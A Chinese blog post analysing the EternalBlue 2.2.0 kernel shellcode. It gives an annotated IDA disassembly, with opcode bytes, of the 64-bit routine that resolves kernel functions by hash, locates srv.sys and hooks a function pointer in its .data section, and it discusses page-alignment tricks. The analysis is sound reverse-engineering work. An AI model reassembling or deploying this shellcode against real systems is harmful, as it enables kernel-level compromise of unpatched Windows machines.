Eternalblue-2.2.0 shellcode 分析
shellcode 部分支持32和64位系统,在执行开始会进行判断并分发,如下图:
32
64
(这个细节点是看别人博客写的)同样的机器码,在32和64位处理器中解析是不同的指令,以此来区分32和64位系统。可以通过ida分别以32和64位模式打开shellcode来查看。
64位shellcode正文部分:
000000005BF sub_5BF proc near ; CODE XREF: seg000:0000000000000004j
seg000:00000000000005BF
seg000:00000000000005BF var_30 = dword ptr -30h
seg000:00000000000005BF var_20 = qword ptr -20h
seg000:00000000000005BF aExFreePool = qword ptr -18h
seg000:00000000000005BF aExAllocatePool = qword ptr -10h
seg000:00000000000005BF NTbase = qword ptr -8
seg000:00000000000005BF
seg000:00000000000005BF 53 push rbx
seg000:00000000000005C0 55 push rbp
seg000:00000000000005C1 57 push rdi
seg000:00000000000005C2 56 push rsi
seg000:00000000000005C3 41 54 push r12
seg000:00000000000005C5 41 55 push r13
seg000:00000000000005C7 41 56 push r14
seg000:00000000000005C9 41 57 push r15
seg000:00000000000005CB 48 89 E5 mov rbp, rsp
seg000:00000000000005CE 48 81 EC 80 00 00 00 sub rsp, 80h
seg000:00000000000005D5 66 83 E4 F0 and sp, 0FFF0h
seg000:00000000000005D9 E8 83 03 00 00 call GetNTbase ; 获取 ntos 基地址
seg000:00000000000005DE 48 89 45 F8 mov [rbp+NTbase], rax
seg000:00000000000005E2 48 89 C3 mov rbx, rax
seg000:00000000000005E5 B9 2E 5B 51 D2 mov ecx, 0D2515B2Eh
seg000:00000000000005EA E8 EE 01 00 00 call GetProcAddrByNameHash ; ZwQuerySystemInformation
seg000:00000000000005EF 48 85 C0 test rax, rax
seg000:00000000000005F2 0F 84 D5 01 00 00 jz loc_7CD
seg000:00000000000005F8 48 89 C6 mov rsi, rax
seg000:00000000000005FB B9 94 01 69 E3 mov ecx, 0E3690194h
seg000:0000000000000600 E8 D8 01 00 00 call GetProcAddrByNameHash ; ExAllocatePool
seg000:0000000000000605 48 85 C0 test rax, rax
seg000:0000000000000608 0F 84 BF 01 00 00 jz loc_7CD
seg000:000000000000060E 48 89 45 F0 mov [rbp+aExAllocatePool], rax
seg000:0000000000000612 48 89 C7 mov rdi, rax
seg000:0000000000000615 B9 85 54 83 F0 mov ecx, 0F0835485h
seg000:000000000000061A E8 BE 01 00 00 call GetProcAddrByNameHash ; ExFreePool
seg000:000000000000061F 48 85 C0 test rax, rax
seg000:0000000000000622 0F 84 A5 01 00 00 jz loc_7CD
seg000:0000000000000628 48 89 45 E8 mov [rbp+aExFreePool], rax
seg000:000000000000062C 4C 8D 4D D0 lea r9, [rbp+var_30]
seg000:0000000000000630 4D 31 C0 xor r8, r8
seg000:0000000000000633 4C 89 C1 mov rcx, r8
seg000:0000000000000636 44 89 45 D0 mov [rbp+var_30], r8d
seg000:000000000000063A 4C 89 C2 mov rdx, r8
seg000:000000000000063D B1 0B mov cl, 0Bh ; system module information!
seg000:000000000000063F FF D6 call rsi ; ZwQuerySystemInformation
seg000:0000000000000641 44 8B 45 D0 mov r8d, [rbp+var_30] ; ReturnLength
seg000:0000000000000645 45 85 C0 test r8d, r8d
seg000:0000000000000648 0F 84 7F 01 00 00 jz loc_7CD
seg000:000000000000064E 8B 55 D0 mov edx, [rbp+var_30] ; size
seg000:0000000000000651 48 31 C9 xor rcx, rcx
seg000:0000000000000654 FF D7 call rdi ; ExAllocatePool 申请内存
seg000:0000000000000656 48 85 C0 test rax, rax
seg000:0000000000000659 0F 84 6E 01 00 00 jz loc_7CD
seg000:000000000000065F 48 89 C3 mov rbx, rax
seg000:0000000000000662 48 31 C9 xor rcx, rcx
seg000:0000000000000665 49 89 C9 mov r9, rcx
seg000:0000000000000668 44 8B 45 D0 mov r8d, [rbp+var_30]
seg000:000000000000066C 48 89 C2 mov rdx, rax
seg000:000000000000066F B1 0B mov cl, 0Bh
seg000:0000000000000671 FF D6 call rsi ; ZwQuerySystemInformation
seg000:0000000000000673 48 85 C0 test rax, rax
seg000:0000000000000676 0F 85 51 01 00 00 jnz loc_7CD
seg000:000000000000067C 48 89 D8 mov rax, rbx
seg000:000000000000067F 48 2D F8 00 00 00 sub rax, 0F8h
seg000:0000000000000685
seg000:0000000000000685 loc_685: ; CODE XREF: sub_5BF+FAj
seg000:0000000000000685 48 05 28 01 00 00 add rax, 128h ;遍历模块信息
seg000:000000000000068B 8B 55 D0 mov edx, [rbp+var_30]
seg000:000000000000068E 81 EA 28 01 00 00 sub edx, 128h
seg000:0000000000000694 0F 8C 33 01 00 00 jl loc_7CD
seg000:000000000000069A 89 55 D0 mov [rbp+var_30], edx
seg000:000000000000069D 50 push rax
seg000:000000000000069E E8 3F 02 00 00 call CalcHash ; get the hash of module name!
seg000:00000000000006A3 48 89 C2 mov rdx, rax
seg000:00000000000006A6 58 pop rax
seg000:00000000000006A7 B9 FA 3C AD C2 mov ecx, 0C2AD3CFAh ; srv.sys
seg000:00000000000006AC 48 39 CA cmp rdx, rcx
seg000:00000000000006AF 74 0A jz short loc_6BB
seg000:00000000000006B1 B9 1A BD 4B 2B mov ecx, 2B4BBD1Ah ; which one?
seg000:00000000000006B6 48 39 CA cmp rdx, rcx
seg000:00000000000006B9 75 CA jnz short loc_685
seg000:00000000000006BB
seg000:00000000000006BB loc_6BB: ; CODE XREF: sub_5BF+F0j
seg000:00000000000006BB 48 8B 70 E8 mov rsi, [rax-18h]
seg000:00000000000006BF 48 89 D9 mov rcx, rbx
seg000:00000000000006C2 FF 55 E8 call [rbp+aExFreePool]
seg000:00000000000006C5 48 89 F0 mov rax, rsi ; rsi 是目标模块的基址
seg000:00000000000006C8 48 31 D2 xor rdx, rdx ;下面开始在该模块中的.data区段中定位到要Hook的位置
seg000:00000000000006CB 48 89 C3 mov rbx, rax
seg000:00000000000006CE 8B 50 3C mov edx, [rax+3Ch]
seg000:00000000000006D1 48 01 D0 add rax, rdx
seg000:00000000000006D4 48 89 C6 mov rsi, rax
seg000:00000000000006D7 48 31 C9 xor rcx, rcx
seg000:00000000000006DA 48 89 CA mov rdx, rcx
seg000:00000000000006DD 66 8B 48 06 mov cx, [rax+6] ; ImageNtHeaders64.ImageFileHeader.NunberOfSections
seg000:00000000000006E1 66 8B 50 14 mov dx, [rax+14h] ; ImageNtHeaders64.ImageFileHeader.SizeOfOptionalHeader
seg000:00000000000006E5 48 01 D6 add rsi, rdx
seg000:00000000000006E8 48 83 C6 18 add rsi, 18h ; 0x18=sizeof(ImageFileHeader+dword)
seg000:00000000000006EC 48 BF 2E 64 61 74 61 00 00+ mov rdi, 617461642Eh ; .data
seg000:00000000000006F6
seg000:00000000000006F6 loc_6F6: ; CODE XREF: sub_5BF+150j
seg000:00000000000006F6 48 83 F9 00 cmp rcx, 0
seg000:00000000000006FA 0F 84 CD 00 00 00 jz loc_7CD
seg000:0000000000000700 48 8B 06 mov rax, [rsi]
seg000:0000000000000703 48 39 F8 cmp rax, rdi ; search for .data section
seg000:0000000000000706 74 09 jz short loc_711
seg000:0000000000000708 48 83 C6 28 add rsi, 28h
seg000:000000000000070C 48 FF C9 dec rcx
seg000:000000000000070F EB E5 jmp short loc_6F6
seg000:0000000000000711 ; ---------------------------------------------------------------------------
seg000:0000000000000711
seg000:0000000000000711 loc_711: ; CODE XREF: sub_5BF+147j
seg000:0000000000000711 8B 46 0C mov eax, [rsi+0Ch]
seg000:0000000000000714 8B 4E 08 mov ecx, [rsi+8]
seg000:0000000000000717 48 01 C6 add rsi, rax
seg000:000000000000071A 48 BB FE FE FE FE FE FE FE+ mov rbx, 0FEFEFEFEFEFEFEFEh ; 条件1:寻找 0xfefefefefefefefe 特征码
seg000:0000000000000724
seg000:0000000000000724 loc_724: ; CODE XREF: sub_5BF+18Bj
seg000:0000000000000724 48 83 E9 08 sub rcx, 8
seg000:0000000000000728 48 83 F9 00 cmp rcx, 0
seg000:000000000000072C 0F 8C 9B 00 00 00 jl loc_7CD
seg000:0000000000000732 48 8B 3E mov rdi, [rsi]
seg000:0000000000000735 48 39 DF cmp rdi, rbx
seg000:0000000000000738 75 0C jnz short loc_746
seg000:000000000000073A 4C 8B 86 98 00 00 00 mov r8, [rsi+98h] ;条件2:特征码1的后面 0x98 处 内容位 0
seg000:0000000000000741 4D 85 C0 test r8, r8
seg000:0000000000000744 74 06 jz short loc_74C
seg000:0000000000000746
seg000:0000000000000746 loc_746: ; CODE XREF: sub_5BF+179j
seg000:0000000000000746 48 83 C6 08 add rsi, 8
seg000:000000000000074A EB D8 jmp short loc_724
seg000:000000000000074C ; ---------------------------------------------------------------------------
seg000:000000000000074C
seg000:000000000000074C loc_74C: ; CODE XREF: sub_5BF+185j
seg000:000000000000074C 48 83 C6 08 add rsi, 8
seg000:0000000000000750 48 89 75 E0 mov [rbp+var_20], rsi
seg000:0000000000000754 48 31 C9 xor rcx, rcx
seg000:0000000000000757 BA F0 0F 00 00 mov edx, 0FF0h
seg000:000000000000075C FF 55 F0 call [rbp+aExAllocatePool]
seg000:000000000000075F 48 85 C0 test rax, rax
seg000:0000000000000762 74 69 jz short loc_7CD
seg000:0000000000000764 49 89 C1 mov r9, rax ; r9 新申请的内存,用来存储部分数据,和代码
seg000:0000000000000767 48 31 C0 xor rax, rax
seg000:000000000000076A B9 00 04 00 00 mov ecx, 400h
seg000:000000000000076F 4C 89 CF mov rdi, r9
seg000:0000000000000772 F3 AB rep stosd ;内存 初始化
seg000:0000000000000774 4C 89 CF mov rdi, r9
seg000:0000000000000777 48 83 C7 60 add rdi, 60h
seg000:000000000000077B 48 8D 35 91 02 00 00 lea rsi, NewFunction ; 新函数,用来处理自己的逻辑
seg000:0000000000000782 48 31 C9 xor rcx, rcx
seg000:0000000000000785 66 B9 36 02 mov cx, 236h ; 代码长度
seg000:0000000000000789 F3 A4 rep movsb ;代码拷贝
seg000:000000000000078B 4D 89 09 mov [r9], r9
seg000:000000000000078E 48 8B 5D F8 mov rbx, [rbp+NTbase]
seg000:0000000000000792 49 89 59 08 mov [r9+8], rbx
seg000:0000000000000796 48 31 DF xor rdi, rbx
seg000:0000000000000799 48 8B 5D F0 mov rbx, [rbp+aExAllocatePool]
seg000:000000000000079D 49 89 59 10 mov [r9+10h], rbx
seg000:00000000000007A1 48 31 DF xor rdi, rbx
seg000:00000000000007A4 48 8B 5D E8 mov rbx, [rbp+aExFreePool];保存相关函数地址数据
seg000:00000000000007A8 49 89 59 18 mov [r9+18h], rbx
seg000:00000000000007AC 48 31 DF xor rdi, rbx
seg000:00000000000007AF 48 8B 5D E0 mov rbx, [rbp+var_20]
seg000:00000000000007B3 49 89 59 20 mov [r9+20h], rbx
seg000:00000000000007B7 48 31 DF xor rdi, rbx
seg000:00000000000007BA 41 89 79 44 mov [r9+44h], edi
seg000:00000000000007BE 48 8B 45 E0 mov rax, [rbp+var_20]
seg000:00000000000007C2 48 83 C0 70 add rax, 70h ;要替换 的函数地址
seg000:00000000000007C6 49 83 C1 60 add r9, 60h ;新内存中,代码开始的位置
seg000:00000000000007CA 4C 89 08 mov [rax], r9 ; 一个 mov 指令完成 hook 操作
seg000:00000000000007CD
seg000:00000000000007CD loc_7CD: ; CODE XREF: sub_5BF+33j
seg000:00000000000007CD ; sub_5BF+49j ...
seg000:00000000000007CD 48 89 EC mov rsp, rbp
seg000:00000000000007D0 41 5F pop r15
seg000:00000000000007D2 41 5E pop r14
seg000:00000000000007D4 41 5D pop r13
seg000:00000000000007D6 41 5C pop r12
seg000:00000000000007D8 5E pop rsi
seg000:00000000000007D9 5F pop rdi
seg000:00000000000007DA 5D pop rbp
seg000:00000000000007DB 5B pop rbx
seg000:00000000000007DC C3 retn
seg000:00000000000007DC sub_5BF endpseg000:00000000000008E2 CalcHash proc near ; CODE XREF: sub_5BF+DFp
seg000:00000000000008E2 ; sub_98B+12p
seg000:00000000000008E2 56 push rsi
seg000:00000000000008E3 51 push rcx
seg000:00000000000008E4 57 push rdi
seg000:00000000000008E5 48 89 C6 mov rsi, rax
seg000:00000000000008E8 48 31 C0 xor rax, rax
seg000:00000000000008EB
seg000:00000000000008EB loc_8EB: ; CODE XREF: CalcHash+20j
seg000:00000000000008EB 89 C7 mov edi, eax
seg000:00000000000008ED C1 E7 07 shl edi, 7
seg000:00000000000008F0 29 C7 sub edi, eax
seg000:00000000000008F2 89 F8 mov eax, edi
seg000:00000000000008F4 31 C9 xor ecx, ecx
seg000:00000000000008F6 8A 0E mov cl, [rsi]
seg000:00000000000008F8 80 F9 00 cmp cl, 0
seg000:00000000000008FB 74 07 jz short loc_904
seg000:00000000000008FD 01 C8 add eax, ecx
seg000:00000000000008FF 48 FF C6 inc rsi
seg000:0000000000000902 EB E7 jmp short loc_8EB
seg000:0000000000000904 ; ---------------------------------------------------------------------------
seg000:0000000000000904
seg000:0000000000000904 loc_904: ; CODE XREF: CalcHash+19j
seg000:0000000000000904 5F pop rdi
seg000:0000000000000905 59 pop rcx
seg000:0000000000000906 5E pop rsi
seg000:0000000000000907 C3 retn
seg000:0000000000000907 CalcHash endpseg000:0000000000000961
seg000:0000000000000961 GetNTbase proc near ; CODE XREF: sub_5BF+1Ap
seg000:0000000000000961 53 push rbx
seg000:0000000000000962 65 48 8B 04 25 38 00 00 00 mov rax, qword ptr gs:loc_36+2 ;
seg000:000000000000096B 48 8B 40 04 mov rax, [rax+4]
seg000:000000000000096F 48 C1 E8 0C shr rax, 0Ch
seg000:0000000000000973 48 C1 E0 0C shl rax, 0Ch
seg000:0000000000000977
seg000:0000000000000977 loc_977: ; CODE XREF: GetNTbase+26j
seg000:0000000000000977 48 8B 18 mov rbx, [rax]
seg000:000000000000097A 66 81 FB 4D 5A cmp bx, 5A4Dh
seg000:000000000000097F 74 08 jz short loc_989
seg000:0000000000000981 48 2D 00 10 00 00 sub rax, 1000h
seg000:0000000000000987 EB EE jmp short loc_977
seg000:0000000000000989 ; ---------------------------------------------------------------------------
seg000:0000000000000989
seg000:0000000000000989 loc_989: ; CODE XREF: GetNTbase+1Ej
seg000:0000000000000989 5B pop rbx
seg000:000000000000098A C3 retn
seg000:000000000000098A GetNTbase endp
seg000:000000000000098A
搜索 srv.sys 的.data 段,找到函数地址数组:
在NewFunction中对前一阶段的内存进行定位。之前申请了大小为0xff0 的内存用来存储数据和NewFunction的代码,现在在NewFunction中对该内存进行定位,以便使用之前的数据。
从上图中可以看到,前面的指令是保存环境。
lea rbp,NewFunction 指令是取到函数NewFunction的地址
and bp,0f000h 指令是对bp寄存器中值(16进制)的后3位进行清零,之后,rbp就是指向前面申请的大小为0xff0的内存开始位置
这是为什么呢?(我也不知道为什么)申请内存的大小为0xff0(0x1000为一个页面),为了方便管理会分配另一个新的页(就是没有被用过,地址类似0xxxxxxxxxxxxxx000)。有了这一点,定位操作就比较好理解。
下面是实际测试,在ring3,32/64中申请内存不一定出现以上情况;在ring0 32中不一定出现以上情况,在ring0 64中一定出现该情况。如下截图:
void tt()
{
PVOID64 mm = NULL;
mm = malloc(0xff0);
printf("addr of mm is 0x%p\n",&mm);
}
ring3 32
ring3 64
ring0 32
ring0 64
Eternalblue-2.2.0 shellcode 分析相关推荐
- 针对中国政府机构的准APT攻击样本Power Shell的ShellCode分析
本文链接网址:http://blog.csdn.net/qq1084283172/article/details/45690529 一.事件回放 网络管理员在服务器上通过网络监控软件检测到,有程序在不 ...
- 区块链教程Fabric1.0源代码分析scc(系统链码)
区块链教程Fabric1.0源代码分析scc(系统链码),2018年下半年,区块链行业正逐渐褪去发展之初的浮躁.回归理性,表面上看相关人才需求与身价似乎正在回落.但事实上,正是初期泡沫的渐退,让人们更 ...
- 区块链教程Fabric1.0源代码分析Peer peer channel命令及子命令实现
区块链教程Fabric1.0源代码分析Peer peer channel命令及子命令实现,2018年下半年,区块链行业正逐渐褪去发展之初的浮躁.回归理性,表面上看相关人才需求与身价似乎正在回落.但事实 ...
- 区块链教程Fabric1.0源代码分析Tx(Transaction 交易)一
区块链教程Fabric1.0源代码分析Tx(Transaction 交易)一,2018年下半年,区块链行业正逐渐褪去发展之初的浮躁.回归理性,表面上看相关人才需求与身价似乎正在回落.但事实上,正是初期 ...
- Lua1.0 代码分析 库
为什么80%的码农都做不了架构师?>>> Lua1.0 代码分析 库 库的代码相对比较简单.这里以数学库为例进行说明. 比如看下这个取绝对值的数学函数 static void ...
- 兄弟连区块链教程Fabric1.0源代码分析configupdate处理通道配置更新
区块链教程Fabric1.0源代码分析configupdate处理通道配置更新,2018年下半年,区块链行业正逐渐褪去发展之初的浮躁.回归理性,表面上看相关人才需求与身价似乎正在回落.但事实上,正是初 ...
- 兄弟连区块链教程Fabric1.0源代码分析Peer peer根命令入口及加载子命令一
区块链教程Fabric1.0源代码分析Peer peer根命令入口及加载子命令,2018年下半年,区块链行业正逐渐褪去发展之初的浮躁.回归理性,表面上看相关人才需求与身价似乎正在回落.但事实上,正是初 ...
- require php 5.3.0,PHP 5.3.0 安装分析心得
PHP 5.3.0 安装分析心得 更新时间:2009年08月07日 23:37:28 作者: 话说,一直犯懒没下载一个PHP 5.3,今天看到关于PHP5.3.0一时兴起打算更新一下本本上的PHP ...
- 区块链教程Fabric1.0源代码分析流言算法Gossip服务端二
区块链教程Fabric1.0源代码分析流言算法Gossip服务端二 Fabric 1.0源代码笔记 之 gossip(流言算法) #GossipServer(Gossip服务端) 5.2.commIm ...
最新文章
- IDEA下——Spring入门程序
- Apache Common HttpClient使用之七种武器
- acegis连接使用方法_正确打开效果器 连接方法和使用技巧必须要知道
- Nginx 作为代理服务与负载均衡
- latex在texstudio中编译tex文件不显示攻读硕士学位期间取得的成果
- (转)mysql 无法设置外键的原因总结
- c语言39关键字及其含义,C语言关键字含义
- 最新版:如何到Redhat官网下载RedHat镜像及申请试用安装序号
- Python sklearn 实现过采样和欠采样
- C语言实现 输入两个正整数m和n,求其最大公约数和最小公倍数【学习笔记】
- 计算机四级考试全国通过率,大学英语四级多少分算过 通过率是多少
- 如何快速将多个文件合并为一个文件?
- python getopt使用_Python命令行参数解析模块getopt使用实例
- WEB安全全基础漏洞学习
- 情商比智商更能决定人的一生
- 手机电池电量剩余通知
- Java实现蓝桥杯勇者斗恶龙
- 长城麒麟linux安装软件,在优麒麟20.04系统下安装软件建议到自带的软件商店中...
- 数学建模暑期集训21:主成分分析(PCA)
- iceberg系列:源码- BinPacking 解读
热门文章
- 【nginx】kevent() reported that connect() failed (61: Connection refused)
- LA2191UVA12086树状数组
- 设A和B是两个单链表,其表中元素递增有序,使用一算法将A和B归并成一个案元素递减有序的单链表C
- 宠物商店管理系统(java)
- UE4 如何设置多屏
- 商标驳回的理由和应对措施 。
- asp.net+C#医院人事办公自动化OA系统设计
- Keil5 MDK配色方案 护眼 黑色背景
- int 类型数据的最大值,最小值及其十六进制表示方式
- linux服务器关机后计划任务还能进行,宝塔面板计划任务定时安全重启Linux服务器实例操作...